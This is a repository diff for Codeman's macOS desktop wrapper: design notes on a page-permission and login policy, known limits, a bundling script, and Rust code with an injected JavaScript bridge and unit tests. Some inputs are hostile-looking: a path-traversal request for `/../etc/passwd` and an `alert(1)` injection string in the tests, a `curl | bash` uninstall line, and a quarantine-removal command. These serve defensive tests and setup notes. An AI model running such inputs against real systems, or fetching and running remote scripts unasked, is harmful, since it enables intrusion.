The deciding detail is login: Codeman's password protection is HTTP Basic, and
a WKWebView shows no login dialog of its own (wry 0.57 implements no
authentication-challenge handler). So the app sends the `Authorization` header
itself on the first load, with wry's `load_url_with_headers` (Tauri 2.12's
`navigate()` takes only a URL), and from then on answers the HTTP Basic
challenges of Codeman's own pages with the current login. Codeman keeps its
session cookies in memory, so after a server restart that answer is what keeps
the page logged in. Using the crates directly is also smaller.
**What wry leaves out is added at runtime, not patched in.** `src/macos.rs` adds
the JavaScript dialog methods and the authentication-challenge method to the
classes of wry's own delegates, so wry stays an unmodified crates.io dependency.
**What a page may ask of the app** (all in `src/policy.rs`, unit-tested):
- Codeman shows content it did not write on its own origin: rendered HTML files
(`/html-view/`) and proxied dashboards (`/webview/`). Only Codeman's own app
shell (the dashboard and a session pop-out) may use `window.CodemanHost`.
That is an allowlist on the raw path, and a path holding any `%` fails it, so
an encoded spelling or a route Codeman adds later stays out.
- An app window opens only for Codeman's own pop-out pages under the server's
base path, checked after decoding the path once, and which ones depends on
who asks. `window.CodemanHost` (the app shell only) may open sessions,
rendered HTML views, the raw, preview, attachment and folder file routes, the
path picker's preview and `api/download`. A `window.open` or `target=_blank` link, which WebKit passes
on from any frame without saying which, gets only the file routes and
`api/download`, the pages Codeman itself opens that way; otherwise a rendered
HTML file could open copies of itself as top-level windows that pass for the
app's own. Such a window does not take keyboard focus, and these windows
have a budget of their own (3 at once, then 1 per second), apart from the
one links draw on. Any other page on the server's origin is refused rather
than sent to the browser: a top-level `/webview/` load would escape the web
tab's iframe sandbox in either place, so it never opens anywhere.
`window.open('')` is refused too, since WebKit's blank window carries none of
the app's handlers.
- wry's navigation handler sees every frame and does not say which one. So a
navigation to another site is blocked rather than opened in the browser;
otherwise a page full of external iframes could open browser tabs. A real
link click is sent out by the injected script in the main frame only.
- Only `http(s)` URLs ever reach the default browser, at most 3 at once and
then 1 per second. macOS lets a page call `window.open` without a click, so
this keeps a script from opening a browser tab for every call.
- The `Authorization` header is only sent to URLs under the server's base path.
The login answers a Basic challenge only when it is Codeman's own: the
server's scheme, host and port (never a proxy's), a URL below the base path,
and not a web tab (`webview/`) or a rendered HTML file (`html-view/`), which
relay 401s from content Codeman did not write. Only such a challenge can
send the user back to the connect screen. WebKit is handed the login without
persistence, so it keeps no copy: every challenge gets the current login,
and one from before a Switch Server is never replayed.
- Each connect starts by clearing the app's cookies (never local storage).
Codeman checks its session cookie before the `Authorization` header, so an
earlier user's cookie would otherwise win over the new login.
- Microphone and camera requests prompt per page. wry's default without a
handler is to grant them to every frame, sandboxed previews included.
- The bundled connect page keeps working until a server page commits in the
main window (it is still the live page while the server loads), and only
the main window may talk to it.
- `codeman web -d` gets the port and base path as separate arguments, never as
shell text.
**The app runs the installer itself; Terminal is the fallback.** `install.sh
--no-admin` puts Node.js and tmux in the home folder, so a This Mac install needs
no password and therefore no terminal, and the two questions only a person can
answer arrive as flags (`src/gui_install.rs`). The app downloads the installer
once to a private folder, asks it what is on this Mac (`install.sh preflight`,
which prints JSON and changes nothing) and draws its choices from that answer.
So the app has no list of coding agents of its own: a new one appears without a
new app, and the list always matches what the installer can really install
here. The installer runs with the login shell's environment, so it finds what
this person already has. The page sends only the agent's id, whether other
devices may reach Codeman, and that password; the password reaches the
installer through its environment, never its command line, where `ps` shows it.
**The install outlives the app.** Its output goes to a file, never a pipe, and
it runs in a process group of its own. With a pipe, quitting the app would kill
the installer at its next write; in the app's group, launchd would kill it with
the app. The file holds the whole run, so a page that was reloaded, or an app
that was opened again, finds the process in `ps` and replays the file from the
first line. That is why the app keeps no state about a run. A run that ends
without the installer's last `done` line failed, and the first error it reported
is the one shown: the ones after it are consequences.
**Adding an agent is a run of its own.** `install.sh agent <id>` installs one
agent and touches neither Codeman nor its service, so it may run next to a live
server, which an install must refuse: the installer's service step would replace
that server under its sessions. It has its own temporary folder, so `ps` tells the
two apart: everything that reads a running install takes it to mean "Codeman is
being installed", which an agent run does not. One run goes at a time, since both
can write to the runtime folder. It asks `preflight` for the list like an install
does, and both pass `--no-admin`: that flag decides which agents count as
installable, so without it on both the page could offer one the run refuses. The
menu item is on the connect page because that is where the app may run things:
from a Codeman page it leaves the page the way *Switch Server* does.
**Terminal stays for what the app cannot do.** The route with Homebrew asks for
the administrator password on a terminal, the Xcode tools arrive as a system
dialog, and ssh asks about host keys and passwords on a terminal too. The app
writes a short script to the per-user temporary folder (mode 0700, created
fresh, deleted by the script as it starts) and opens it with `open -b
com.apple.Terminal`, which needs no permission; scripting Terminal with
osascript would ask for Automation access. The script prints what it runs. A
This Mac install downloads the installer to a temporary file and runs it from
there, so the installer's input is the terminal. Everything in the scripts is
built and unit-tested in `src/setup.rs`; the page sends only which install it
wants, whether other devices should reach it, and the SSH login, which is
checked before it is quoted.
**This Mac's own login comes from where Codeman keeps it.** A Codeman
installed with a password keeps it in its LaunchAgent (`install.sh`) or in
`~/.codeman/.env` (what `codeman attach`, `codeman tui` and `codeman agent`
read). The app reads the same places, so a password-protected Codeman on this
Mac opens without typing the password. The username and password always come
from the same place, since the server reads its username from its own
environment. The login goes only to `127.0.0.1` on that Codeman's port, and
only while `lsof` shows one of your own Codeman processes holding that port:
with Codeman stopped, whatever else listens there never gets it.
**Never a second server on the same sessions.** Two Codeman servers on one
data directory and tmux socket attach to each other's live sessions, and
`codeman web -d` only notices a server it started itself or one at the same
address. So the app looks for running Codeman servers of this user (`ps`)
before it offers or runs a start, and offers to connect to the ones it finds
instead (`found_addresses` in `src/setup.rs`, unit-tested).
**Closing the main window quits the app.** Codeman's sessions keep running on
the server, so nothing is lost, and reopening takes about a second.
**One reachability probe per user action, and one to check a refused login.**
Codeman counts a request without valid credentials against its login rate
limit (10 per IP, 15 minutes; a successful login resets the count), so the app
never retries in a loop. A look at this Mac asks each Codeman server found
here once; the app has a login only for the one at the usual address, so the
others are asked without one. Once the server refuses the login in a challenge, the
app sends it only once more, in the single probe that checks the refusal. If
that probe is refused or rate limited, the connect screen comes back; the
app does not send the refused login again. Keeping no copy of the login in WebKit has a cost here: after a server
restart, each request that arrives without a cookie gets a 401 before the
login goes out, and those count until one succeeds. Many windows reconnecting
at once can push a request past 10, and that request then fails with a 429
instead of being answered. A refusal that lands while you are in another app
does not bring Codeman forward: the connect screen loads where the window is,
and the Dock icon bounces.
## Known limits
- **A new agent can take a few minutes to show up in a running Codeman.** The
server remembers that a CLI is missing, for up to 5 minutes after it last looked
(`cliResolveRetryDelayMs`), so that a status poll never spawns a login shell. The
app cannot clear that from outside, so the screen after *Add a coding agent* says
so. An open Codeman page also needs a reload, because the list of installed
agents is part of the page.
- **Agents the app can add are the ones `--no-admin` can install.** OMP's macOS
install is Homebrew, so it is not offered, also on a Mac that has Homebrew.
- **Agents that install with npm use whichever Node.js the login shell finds.**
With the Node.js the installer downloaded, or Homebrew's, that folder is yours.
The nodejs.org installer leaves `/usr/local/lib/node_modules` to root, so those
agents would be expected to fail there, with npm's permission error shown, while
the ones with their own installer still work. This has not been tried.
- **Only your own Codeman servers on this Mac are found, by their command
line.** A server another macOS user runs, or one in a container or a virtual
machine, is not listed: connect to it by address under Another machine. A
base path that a server started by hand has only in its environment
(`CODEMAN_BASE_URL`) is not visible either, so its row has the address
without the path; the LaunchAgent's base path is read from its job.
- **A found server that is slow to answer shows as not answering.** Next to a
Codeman that answers, each other server gets two seconds (five when nothing
answers at the usual address). A password-protected one counts the
look as a failed login, like any look at a server the app has no login for.
*Check again* asks again.
- **Self-signed HTTPS is refused.** A server started with `codeman web --https`
uses a self-signed certificate, and WKWebView rejects it (wry has no trust
override). Use `http://127.0.0.1:3000` for a server on this Mac. For another
machine, serve Codeman through `tailscale serve`
(`https://<machine>.<tailnet>.ts.net` has a real certificate) or a reverse
proxy with a real certificate. Marking the certificate as trusted in
Keychain Access can only help at `https://localhost` or `https://127.0.0.1`,
the only names Codeman's certificate carries, and may not work even there.
The connect screen says so when it happens.
- **Keychain prompt after every rebuild of an ad-hoc build.** The Keychain
knows the app that saved a password by its code signature, and an ad-hoc
signature changes with every build and update. So each new build asks once
for access to the saved passwords: choose *Always Allow*. All Keychain work
runs on one background thread, so the prompt does not freeze the window
while it waits for an answer. To keep one identity across builds, sign with
`SIGN_IDENTITY` (a self-made code-signing certificate from Keychain Access
is enough). Microphone and camera permissions are asked again for the same
reason.
- **Gatekeeper.** Without a Developer ID the app is signed ad hoc. A build you
made yourself opens normally; a copy that arrived by download or AirDrop is
quarantined. On macOS 15 and later, try to open it once, then click *Open
Anyway* in System Settings > Privacy & Security (it asks for an administrator
password). On macOS 14 and earlier, right-click it and choose *Open* once.
Either way, `xattr -dr com.apple.quarantine /Applications/Codeman.app` on the
copy in Applications works too. Shipping it to other people needs a Developer
ID signature and notarization:
`SIGN_IDENTITY="Developer ID Application: ..." ./scripts/bundle-macos.sh --dmg`,
then `xcrun notarytool submit` and `xcrun stapler staple`.
- **Local Network permission (macOS 15 and later).** The first connection to an
address on the local network (a LAN IP, a `.local` name) makes macOS ask
whether Codeman may use the local network, and that first attempt can fail
while the question is open: connect again after answering. If it was denied,
turn Codeman on in System Settings > Privacy & Security > Local Network. A
server started with *Start Codeman on this Mac* counts as part of the app
here, so the same answer covers what it reaches on the local network (ssh to
LAN hosts, Wake-on-LAN, web tabs pointing at LAN dashboards), also after the
app quits.
- **Subagent transcript windows do not open in the app.** Codeman writes that
view into a blank `window.open('')` window, which the app refuses (see
Decisions), and shows a toast instead. A Codeman without the null check in
`viewSubagentTranscript` (`src/web/public/panels-ui.js`) reports *Failed to
load transcript* there. Open the transcript from a browser tab.
- **Dialogs are app-modal.** While a JavaScript dialog is open, every Codeman
window waits for it. A page that calls `alert()` in a loop (a rendered HTML
preview or a web tab can) leaves no way out but Force Quit (`⌥⌘⎋`).
- **Codeman needs the WebKit of Safari 16.4.** The app itself runs on macOS
11.3 or later (downloads go through WKDownload, which arrived in 11.3), but
Codeman's terminal (xterm.js 6 uses class static blocks) needs the WebKit
that came with Safari 16.4: macOS 13.3, or macOS 11 or 12 with Safari 16.4
or later installed. On an older WebKit the connect screen says so and does
not connect. Session pop-outs also need BroadcastChannel (Safari 15.4),
which the same requirement covers.
- **Plain links in rendered HTML and web tabs do not open.** A link to another
site inside a rendered HTML preview or a web tab does nothing, in the
preview overlay, and for a rendered HTML file in its pop-out window too: the
app blocks navigation to other sites in every frame (see Decisions). A link
there that asks for a new window (`target="_blank"`, or a script's
`window.open`) does open, in your default browser, within the budget of 3 at
once and then 1 per second.
- **No login dialog for a web tab's own HTTP Basic login.** The app answers
only Codeman's own login, and WebKit shows no dialog for any other, so a
dashboard in a web tab that asks for HTTP Basic shows its 401 page.
- **Downloads from previews and web tabs are saved without asking.** Rendered
HTML files and web tabs are allowed to start downloads, and the app saves
every download to `~/Downloads` without a prompt. Asking first for those
frames is not done yet.
- **No desktop notifications yet.** WKWebView has no Web Notification API.
Native notifications are the first item on the list below.
- **No service worker.** Codeman works without it; it is only an offline cache.
- **The graphical install needs macOS 15, or a tmux that is already there.**
tmux comes from the tmux project's own builds, which need macOS 15. On an
older Mac without tmux the app says so and offers Terminal, where Homebrew
installs it (that takes an administrator once).
- **Who can reach it stops at the local network.** Tailscale needs its own
login and setup, which the installer does at a terminal. Choose *Install in
Terminal instead*, or run `install.sh tailscale` later.
- **The agent is chosen during the install.** With Codeman already installed,
or after *Skip for now*, an agent is added by hand: its commands are in the
installer's closing notes and in [Installing an agent CLI](../../docs/wiki/Installation.md#installing-an-agent-cli).
- **An agent only your interactive profile finds counts as missing.** The app
reads the login shell's environment, without `.zshrc`, so a CLI on an nvm
PATH set up there is offered again as if it were not installed. Installing
it again is harmless; *Skip for now* leaves it as it is.
- **Installing from the app is macOS only so far**, and installing on another
machine needs ssh access to it and `curl` or `wget` there. The app does not
know when a remote install is done or which address it chose: the installer
prints the address, and you connect to it under Another machine.
- **A This Mac install always sets Codeman up as a LaunchAgent** that starts
at login. To stop it: `launchctl unload ~/Library/LaunchAgents/com.codeman.web.plist`;
to remove Codeman: `curl -fsSL https://getcodeman.com/install | bash -s -- uninstall`.
- **Windows and Linux** need their menu hookup (`init_for_hwnd`, GTK), a
credential store (Credential Manager, Secret Service) and installers. The
rest of the code is platform-neutral.
## Ideas for next
- Native notifications and a Dock badge with the number of sessions waiting
for you (tao has `set_badge_label`; Codeman already tracks which sessions need input).
- A global hotkey that brings Codeman to the front from anywhere.
- A menu bar icon showing session states.
- Trusting a self-signed server certificate by its fingerprint.
- Asking before a download that a rendered HTML file or a web tab starts.
- A way out of a page that keeps opening dialogs (a "block further dialogs" option).
- Windows and Linux builds, a CI job that builds the `.dmg`, notarization, auto-update.
File diff suppressed because it is too large. Load diff
Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

+59
View File
@@ -0,0 +1,59 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleName</key>
<string>Codeman</string>
<key>CFBundleDisplayName</key>
<string>Codeman</string>
<key>CFBundleIdentifier</key>
<string>com.getcodeman.desktop</string>
<key>CFBundleVersion</key>
<string>__VERSION__</string>
<key>CFBundleShortVersionString</key>
<string>__VERSION__</string>
<key>CFBundleExecutable</key>
<string>codeman-desktop</string>
<key>CFBundleIconFile</key>
<string>Codeman</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<!-- 11.3 is where WKDownload arrived; wry saves files through it. Below
that a Download link replaces the window or saves nothing.
scripts/bundle-macos.sh builds for this version too. -->
<key>LSMinimumSystemVersion</key>
<string>11.3</string>
<key>LSApplicationCategoryType</key>
<string>public.app-category.developer-tools</string>
<key>NSHighResolutionCapable</key>
<true/>
<key>NSSupportsAutomaticGraphicsSwitching</key>
<true/>
<key>NSHumanReadableCopyright</key>
<string>MIT License, Codeman Contributors</string>
<!-- Voice dictation and gesture control ask for these; without the
strings macOS kills the app the first time a page requests them. -->
<key>NSMicrophoneUsageDescription</key>
<string>Codeman uses the microphone for voice dictation when you turn it on.</string>
<key>NSCameraUsageDescription</key>
<string>Codeman uses the camera for hand-gesture control when you turn it on.</string>
<!-- macOS 15 asks before an app reaches the local network (a LAN address,
a .local name), and shows this text in that question. A process the
app starts counts as the app (Apple TN3179), so a server started with
"Start Codeman on this Mac" runs under the same answer. -->
<key>NSLocalNetworkUsageDescription</key>
<string>Codeman connects to Codeman servers on your local network. A Codeman server you start from this app uses the same permission for what it reaches on the network.</string>
<!-- App Transport Security would block plain http:// to a host NAME
(my-mac.local, a LAN box). IP literals are exempt, which is why
http://127.0.0.1 works without this. -->
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsLocalNetworking</key>
<true/>
<key>NSAllowsArbitraryLoadsInWebContent</key>
<true/>
</dict>
</dict>
</plist>
+12
View File
@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Only used with a Developer ID (SIGN_IDENTITY=...), which turns on the
hardened runtime; there, microphone and camera need these. -->
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
</dict>
</plist>
+1
View File
@@ -0,0 +1 @@
max_width = 120
+110
View File
@@ -0,0 +1,110 @@
#!/usr/bin/env bash
# Build Codeman.app (and optionally a .dmg) from packages/desktop, on macOS.
#
# packages/desktop/scripts/bundle-macos.sh # this Mac's architecture
# packages/desktop/scripts/bundle-macos.sh --universal --dmg
# SIGN_IDENTITY="Developer ID Application: ..." packages/desktop/scripts/bundle-macos.sh --dmg
#
# Without SIGN_IDENTITY the app is signed ad hoc: it runs on the Mac that built
# it, and a copy downloaded on another Mac is stopped by Gatekeeper. On macOS 15
# and later, try to open it once, then click Open Anyway in System Settings >
# Privacy & Security; on macOS 14 and earlier, right-click it and choose Open.
# Or run `xattr -dr com.apple.quarantine /Applications/Codeman.app` on the copy
# in /Applications. A Developer ID signature + notarization avoids all of this.
set -euo pipefail
cd "$(dirname "$0")/.."
[ "$(uname -s)" = Darwin ] || { echo "bundle-macos.sh runs on macOS only" >&2; exit 1; }
UNIVERSAL=0
DMG=0
for arg in "$@"; do
case "$arg" in
--universal) UNIVERSAL=1 ;;
--dmg) DMG=1 ;;
*) echo "unknown option: $arg" >&2; exit 2 ;;
esac
done
VERSION=$(sed -n 's/^version = "\(.*\)"$/\1/p' Cargo.toml | head -1)
[ -n "$VERSION" ] || { echo "could not read the version from Cargo.toml" >&2; exit 1; }
# The binary targets the same macOS as LSMinimumSystemVersion in Info.plist,
# so the two cannot disagree.
MACOSX_DEPLOYMENT_TARGET=$(/usr/libexec/PlistBuddy -c 'Print :LSMinimumSystemVersion' macos/Info.plist)
[ -n "$MACOSX_DEPLOYMENT_TARGET" ] || { echo "could not read LSMinimumSystemVersion from macos/Info.plist" >&2; exit 1; }
export MACOSX_DEPLOYMENT_TARGET
WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT
# Build with cargo and set BUILT to the executable cargo reports for
# codeman-desktop. Asking cargo, rather than assuming ./target, keeps
# CARGO_TARGET_DIR, build.target-dir and build.target from a cargo config
# working, and a stale binary from an older build is never bundled.
cargo_build() {
local json
json=$(cargo build --locked --release "$@" --message-format=json-render-diagnostics)
BUILT=$(printf '%s\n' "$json" | awk '
index($0, "\"reason\":\"compiler-artifact\"") &&
index($0, "\"kind\":[\"bin\"]") &&
index($0, "\"name\":\"codeman-desktop\"") &&
match($0, /"executable":"[^"]*"/) { path = substr($0, RSTART + 14, RLENGTH - 15) }
END { print path }')
if [ -z "$BUILT" ] || [ ! -x "$BUILT" ]; then
echo "cargo did not report a codeman-desktop executable${BUILT:+ (it named $BUILT)}" >&2
exit 1
fi
}
if [ "$UNIVERSAL" = 1 ]; then
rustup target add aarch64-apple-darwin x86_64-apple-darwin >/dev/null
cargo_build --target aarch64-apple-darwin
ARM_BIN=$BUILT
cargo_build --target x86_64-apple-darwin
INTEL_BIN=$BUILT
BIN="$WORK/codeman-desktop-universal"
lipo -create -output "$BIN" "$ARM_BIN" "$INTEL_BIN"
else
cargo_build
BIN=$BUILT
fi
APP=dist/Codeman.app
rm -rf "$APP"
mkdir -p "$APP/Contents/MacOS" "$APP/Contents/Resources"
cp "$BIN" "$APP/Contents/MacOS/codeman-desktop"
sed "s/__VERSION__/$VERSION/g" macos/Info.plist > "$APP/Contents/Info.plist"
plutil -lint "$APP/Contents/Info.plist" >/dev/null
printf 'APPL????' > "$APP/Contents/PkgInfo"
# assets/icon.png (1024x1024, already on Apple's icon grid) -> Codeman.icns
ICONSET="$WORK/Codeman.iconset"
mkdir -p "$ICONSET"
for size in 16 32 128 256 512; do
sips -z "$size" "$size" assets/icon.png --out "$ICONSET/icon_${size}x${size}.png" >/dev/null
double=$((size * 2))
sips -z "$double" "$double" assets/icon.png --out "$ICONSET/icon_${size}x${size}@2x.png" >/dev/null
done
iconutil -c icns "$ICONSET" -o "$APP/Contents/Resources/Codeman.icns"
if [ -n "${SIGN_IDENTITY:-}" ]; then
codesign --force --options runtime --timestamp \
--entitlements macos/entitlements.plist --sign "$SIGN_IDENTITY" "$APP"
else
codesign --force --sign - "$APP"
fi
codesign --verify --strict "$APP"
echo "Built $(pwd)/$APP ($(du -sh "$APP" | cut -f1), version $VERSION, macOS $MACOSX_DEPLOYMENT_TARGET or later)"
if [ "$DMG" = 1 ]; then
STAGE="$WORK/dmg"
mkdir -p "$STAGE"
cp -R "$APP" "$STAGE/"
ln -s /Applications "$STAGE/Applications"
DMG_PATH="dist/Codeman-$VERSION.dmg"
rm -f "$DMG_PATH"
hdiutil create -quiet -volname "Codeman" -srcfolder "$STAGE" -ov -format UDZO "$DMG_PATH"
echo "Built $(pwd)/$DMG_PATH ($(du -sh "$DMG_PATH" | cut -f1))"
fi
+312
View File
@@ -0,0 +1,312 @@
//! Files bundled into the binary: the connect page, its icon, and the script
//! injected into every Codeman page (`window.CodemanHost`).
use std::borrow::Cow;
use wry::http::{header::CONTENT_TYPE, Request, Response, StatusCode};
const CONNECT_HTML: &[u8] = include_bytes!("../assets/connect.html");
const ICON_PNG: &[u8] = include_bytes!("../assets/icon.png");
/// The connect page loads nothing from outside the app.
const CSP: &str = "default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src codemanapp:";
/// Serve `codemanapp://localhost/<path>`.
pub fn respond(request: Request<Vec<u8>>) -> Response<Cow<'static, [u8]>> {
let (body, mime): (&'static [u8], &str) = match request.uri().path() {
"/" | "/index.html" => (CONNECT_HTML, "text/html; charset=utf-8"),
"/icon.png" => (ICON_PNG, "image/png"),
_ => {
return Response::builder()
.status(StatusCode::NOT_FOUND)
.body(Cow::Borrowed(&b"not found"[..]))
.expect("static response");
}
};
Response::builder()
.header(CONTENT_TYPE, mime)
.header("Content-Security-Policy", CSP)
.header("Cache-Control", "no-store")
.body(Cow::Borrowed(body))
.expect("static response")
}
/// Injected at document start into the MAIN frame of every page (wry's
/// default), where it does nothing unless the page is http(s). It provides the
/// native-wrapper bridge Codeman's frontend already looks for
/// (`window.CodemanHost.openWindow/closeWindow/focusWindow`, see
/// `openInHostWindow` in src/web/public/app.js), so pop-outs become real app
/// windows. `openWindow` answers false, posting nothing, for a URL the native
/// side would drop (not http(s), or longer than its 4096-byte cap), so
/// Codeman shows its own error instead of marking a session detached with no
/// window behind it. Besides that it:
///
/// - turns a click on a same-origin download link (`download=true`, or a path
/// ending in `/download`) into a real download by giving the link a
/// `download` attribute. Codeman's file tree and attachment cards link to
/// `file-raw?download=true` without one, and the server sends a type WebKit
/// can show (png, pdf, txt), so WebKit would otherwise replace the Codeman
/// window with the file, with no way back. This runs in the capture phase,
/// before the file tree's own `stopPropagation`.
/// - does the same for `window.open` of such a `download=true` URL (the
/// attachment history), returning null instead of a window.
/// - sends clicks on links to other sites to the default browser, after
/// Codeman's own handlers have had their turn (bubble phase, skipped when
/// one of them called preventDefault). Middle clicks and modifier clicks
/// count too: a bare WKWebView has no new-tab gesture of its own, so they
/// would do nothing.
/// - reports the first same-origin 401 a `fetch` gets (`sessionExpired`),
/// once per page load: the session cookie is gone, usually because the
/// server restarted, and nothing in the page asks for the login again.
/// - defines `__codemanDesktopRefused(id)` (not enumerable) for
/// [`refused_script`].
pub const HOST_SHIM: &str = r#"(function () {
'use strict';
if (!/^https?:$/.test(location.protocol) || window.CodemanHost) return;
var MAX_URL = 4096;
var post = function (msg) {
try { window.ipc.postMessage(JSON.stringify(msg)); return true; } catch (e) { return false; }
};
// An http(s) URL object, or null. fetch and window.open resolve against
// the document base (Codeman sets <base href>), so those pass it.
var httpUrl = function (raw, base) {
try {
var u = new URL(String(raw), base || location.href);
return /^https?:$/.test(u.protocol) ? u : null;
} catch (e) { return null; }
};
var sameOrigin = function (u) { return !!u && u.origin === location.origin; };
var link = function (ev) {
var a = ev.target && ev.target.closest ? ev.target.closest('a[href]') : null;
return a && typeof a.href === 'string' && !a.hasAttribute('download') ? a : null;
};
Object.defineProperty(window, 'CodemanHost', {
value: Object.freeze({
desktop: true,
openWindow: function (url) {
var u = httpUrl(url);
return u && u.href.length <= MAX_URL ? post({ cmd: 'openWindow', url: u.href }) : false;
},
closeWindow: function () { post({ cmd: 'closeWindow' }); },
focusWindow: function () { post({ cmd: 'focusWindow' }); }
})
});
// The native side could not open a window: say so. `id` is a string only
// when CodemanHost.openWindow asked for that session's pop-out; that session
// goes back to the dashboard (a fresh channel object, so this window's own
// channel hears it too). Anything else, null included, only shows the toast.
Object.defineProperty(window, '__codemanDesktopRefused', {
value: function (id) {
try {
if (window.app && typeof window.app.showToast === 'function') {
window.app.showToast('Could not open a new window', 'error');
}
} catch (e) {}
try {
if (typeof id === 'string' && id !== '' && typeof BroadcastChannel === 'function') {
var ch = new BroadcastChannel('codeman-windows');
ch.postMessage({ type: 'redocked', id: id });
setTimeout(function () { try { ch.close(); } catch (e) {} }, 2000);
}
} catch (e) {}
}
});
var markDownload = function (ev) {
if (ev.button > 1) return;
var a = link(ev);
var u = a && httpUrl(a.href);
if (sameOrigin(u) && (u.searchParams.get('download') === 'true' || /\/download$/.test(u.pathname))) {
a.setAttribute('download', '');
}
};
window.addEventListener('click', markDownload, true);
window.addEventListener('auxclick', markDownload, true);
var lastMiddle = null;
var openOutside = function (ev) {
if (ev.defaultPrevented || ev.button > 1) return;
var a = link(ev);
var u = a && httpUrl(a.href);
if (!u || sameOrigin(u)) return;
ev.preventDefault();
// Older WebKit sends a middle click as 'click', newer as 'auxclick'; one
// that sent both must still open the link once.
if (ev.button === 1) {
if (lastMiddle && lastMiddle.a === a && ev.timeStamp - lastMiddle.t < 500) return;
lastMiddle = { a: a, t: ev.timeStamp };
}
post({ cmd: 'openExternal', url: u.href });
};
window.addEventListener('click', openOutside, false);
window.addEventListener('auxclick', openOutside, false);
var nativeOpen = window.open;
if (typeof nativeOpen === 'function') {
window.open = function open(url) {
try {
var u = arguments.length && url !== undefined ? httpUrl(url, document.baseURI) : null;
if (sameOrigin(u) && u.searchParams.get('download') === 'true') {
var a = document.createElement('a');
a.href = u.href;
a.setAttribute('download', '');
a.click();
return null;
}
} catch (e) {}
return nativeOpen.apply(this, arguments);
};
}
// Returns the promise fetch itself returned, so callers see exactly what
// they saw before; the 401 check hangs off a side branch that swallows its
// own errors and never reads the body.
var expired = false;
var nativeFetch = window.fetch;
if (typeof nativeFetch === 'function') {
var check = function (input, r) {
if (expired || !r || r.status !== 401) return;
var raw = r.url || (input && typeof input === 'object' && typeof input.url === 'string' ? input.url : input);
if (!sameOrigin(httpUrl(raw, document.baseURI))) return;
expired = true;
post({ cmd: 'sessionExpired' });
};
window.fetch = function fetch(input) {
var p = nativeFetch.apply(this, arguments);
try {
if (!expired && p && typeof p.then === 'function') {
p.then(function (r) { try { check(input, r); } catch (e) {} }, function () {});
}
} catch (e) {}
return p;
};
}
})();"#;
/// A toast inside Codeman when a download finished (Codeman's own
/// `showToast`; nothing happens on a page without it).
pub fn download_toast_script(file_name: &str, ok: bool) -> String {
let text = if ok {
format!("Downloaded {file_name} to Downloads")
} else {
format!("Download of {file_name} failed")
};
let text = serde_json::to_string(&text).unwrap_or_else(|_| "\"Download finished\"".into());
let kind = if ok { "\"success\"" } else { "\"error\"" };
format!("try {{ window.app && window.app.showToast && window.app.showToast({text}, {kind}); }} catch (e) {{}}")
}
/// Runs in the window that asked for a window the native side did not open
/// (pop-out limit reached, policy refused it, window or web view failed to
/// build): the page shows an error toast. Does nothing on a page without the
/// shim.
///
/// `session_id` is the decoded id of a session pop-out
/// (`policy::session_id_of`), and only for a `CodemanHost.openWindow` request,
/// which comes from a trusted frame: that session then gets its tab back in
/// the dashboard. Pass `None` for every other refusal, above all the ones a
/// `window.open` or `target=_blank` from any frame caused, so a page cannot
/// make the dashboard drop the detached state of a session that is still
/// popped out.
pub fn refused_script(session_id: Option<&str>) -> String {
let id = serde_json::to_string(&session_id).unwrap_or_else(|_| "null".into());
format!(
"try {{ if (typeof window.__codemanDesktopRefused === 'function') window.__codemanDesktopRefused({id}); }} catch (e) {{}}"
)
}
#[cfg(test)]
mod tests {
use super::*;
fn get(path: &str) -> Response<Cow<'static, [u8]>> {
respond(
Request::builder()
.uri(format!("codemanapp://localhost{path}"))
.body(Vec::new())
.unwrap(),
)
}
#[test]
fn serves_page_and_icon_only() {
let page = get("/index.html");
assert_eq!(page.status(), StatusCode::OK);
assert!(page.headers()["content-type"]
.to_str()
.unwrap()
.starts_with("text/html"));
assert!(page.headers().contains_key("content-security-policy"));
assert!(String::from_utf8_lossy(page.body()).contains("window.__codemanDesktop"));
assert_eq!(get("/icon.png").status(), StatusCode::OK);
assert_eq!(get("/../etc/passwd").status(), StatusCode::NOT_FOUND);
assert_eq!(get("/other.js").status(), StatusCode::NOT_FOUND);
}
#[test]
fn refused_script_escapes_the_session_id() {
let js = refused_script(Some("a'\"); alert(1); //\u{2028}\\"));
assert!(js.starts_with("try { if (typeof window.__codemanDesktopRefused === 'function') "));
assert!(js.contains(r#"window.__codemanDesktopRefused("a'\"); alert(1); //"#));
assert!(js.contains("\u{2028}\\\\\"); } catch (e) {}"));
assert!(js.ends_with(" } catch (e) {}"));
}
#[test]
fn refused_script_without_a_session_passes_null() {
assert_eq!(
refused_script(None),
"try { if (typeof window.__codemanDesktopRefused === 'function') window.__codemanDesktopRefused(null); } catch (e) {}"
);
assert!(refused_script(Some("")).contains("__codemanDesktopRefused(\"\")"));
}
#[test]
fn shim_keeps_its_contract() {
for needle in [
"Object.freeze",
"openWindow",
"closeWindow",
"focusWindow",
"__codemanDesktopRefused",
"sessionExpired",
"'auxclick'",
"MAX_URL = 4096",
"typeof id === 'string' && id !== ''",
] {
assert!(HOST_SHIM.contains(needle), "{needle}");
}
// The refused hook takes the session id the native side resolved; it
// never parses or decodes a URL to find one.
assert!(!HOST_SHIM.contains("decodeURIComponent"));
}
/// The connect page refuses what the app would drop without an answer, so
/// its two limits have to be the app's own.
#[test]
fn connect_page_keeps_the_message_limits() {
let page = String::from_utf8_lossy(CONNECT_HTML);
for needle in [
format!("var MAX_URL = {};", crate::policy::MAX_URL_LEN),
format!("var MAX_FIELD = {};", crate::policy::MAX_FIELD_LEN),
] {
assert!(page.contains(&needle), "{needle}");
}
}
/// Copy puts setup::INSTALL_ONE_LINER on the clipboard, and the page shows
/// the command as text of its own: the two have to be the same command.
#[test]
fn connect_page_shows_the_command_that_copy_copies() {
let page = String::from_utf8_lossy(CONNECT_HTML);
